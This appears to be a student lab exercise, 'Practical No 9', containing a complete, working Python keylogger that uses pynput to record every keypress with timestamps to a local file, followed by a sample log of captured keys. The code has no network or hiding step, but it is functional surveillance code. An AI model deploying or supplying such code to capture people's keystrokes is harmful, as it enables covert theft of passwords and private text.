

Practical No 9. Create a simple keylogger using python

```
from pynput.keyboard import Key, Listener
import logging

# Set the log directory (keep it empty for current folder)
log_directory = ""

logging.basicConfig(filename=(log_directory + "keylog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

# Use a lowercase variable name 'listener' to avoid conflict with the Class 'Listener'
with Listener(on_press=on_press) as listener:
    listener.join() # Added parentheses here
```

Output:-

```
keylog.txt
1 2025-11-26 12:32:27,927: 'h'
2 2025-11-26 12:32:27,928: 'h'
3 2025-11-26 12:32:28,131: 'e'
4 2025-11-26 12:32:28,131: 'e'
5 2025-11-26 12:32:28,329: 'y'
6 2025-11-26 12:32:28,329: 'y'
7 2025-11-26 12:32:28,828: Key.enter
8 2025-11-26 12:32:28,828: Key.enter
9 2025-11-26 12:32:35,583: 's'
10 2025-11-26 12:32:35,804: 'u'
11 2025-11-26 12:32:35,804: 'u'
12 2025-11-26 12:32:36,002: 'd'
13 2025-11-26 12:32:36,002: 'd'
14 2025-11-26 12:32:36,244: 'i'
15 2025-11-26 12:32:36,244: 'i'
16 2025-11-26 12:32:36,867: Key.enter
17 |
```